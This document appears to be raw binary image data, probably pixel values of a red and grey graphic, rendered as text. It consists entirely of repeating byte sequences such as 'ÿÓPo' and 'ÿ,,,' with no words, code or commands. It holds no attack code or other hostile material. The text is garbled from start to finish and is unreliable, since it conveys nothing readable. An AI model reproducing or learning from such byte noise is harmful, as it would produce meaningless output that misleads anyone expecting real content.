ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿŸÿvÿ?(%ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ ÿÂJfÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÒNlÿÄ;Jÿ° ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿŽ ÿ\!ÿ1+*ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ)))ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿs,=ÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÊDYÿ¸+,ÿ§ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ£ÿ~ÿL% ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ ÿÍNlÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÐLhÿ¿5?ÿ«ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ™ÿiÿ6)(ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ+++ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ5JÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÒOnÿÇ@Qÿ´%!ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿŠ ÿT#ÿ.++ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ.ÿÒPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÌH_ÿ»/4ÿ©ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿŸÿvÿA(%ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ¢=UÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÑNlÿÂ:Fÿ®ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ”ÿa!ÿ2+*ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ###ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿJ'ÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÊDYÿ¶((ÿ§ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¥ÿ‚ ÿL% ÿ-,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ¹FaÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÏKeÿ¾3;ÿ« ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿšÿnÿ:)'ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ'''ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿc&4ÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓOnÿÅ=Mÿ²"ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿŽ ÿY#ÿ.++ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ ÿÇKhÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÌG^ÿ»/4ÿ©ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ ÿvÿB'$ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ***ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ|/AÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÐMiÿÁ7Cÿ­ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ”ÿdÿ5*)ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ" ÿÐOmÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÈAUÿµ'%ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¥ÿ† ÿQ$ÿ-,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ+++ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ—9OÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÎJdÿ¾3;ÿª ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿœÿnÿ;)'ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ7ÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÒNlÿÄ;Jÿ²"ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ